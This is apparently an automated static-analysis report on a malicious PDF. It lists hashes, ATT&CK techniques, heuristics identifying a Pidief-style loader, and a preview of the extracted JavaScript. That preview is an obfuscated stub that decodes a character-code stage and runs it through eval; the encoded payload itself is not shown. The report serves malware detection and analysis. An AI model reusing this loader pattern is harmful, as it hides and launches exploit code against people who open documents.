Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b4780d9dec50b1d…

MALICIOUS

PDF

45.2 KB First seen: 2013-07-12
MD5: f1d3a839dd07e14c1d73c4585129c161 SHA-1: 5deee93927bcdb3817a948cfb2d5ad6d397b567e SHA-256: 7b4780d9dec50b1dbfe4f2273749d88664e894048a329be971cab8e0f25c080f
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script is designed to decode and execute a secondary payload, likely downloaded from an external source. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to T1059.007. Given it's a PDF, the likely initial access vector is T1566.001.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB222 440 bytes
SHA-256: 3d73bf07d14ea48bb66f29656d56ff94a26243ba4a599289b78875f241b90fd9
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qlf='';
lkpue=('qwrwqr','tit');
e('selg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
dze=e('String.fr'+selg.substr(0,10));
acs = e(selg.substr(10)['replace'](/u/g,','));
e('k=acs.length');
for (i = 0; i < k; i+=2) {
	eqsad = acs[i+1] + ('erybjkerl',acs[i]);
	qlf += dze(eqsad);
}
e(qlf);

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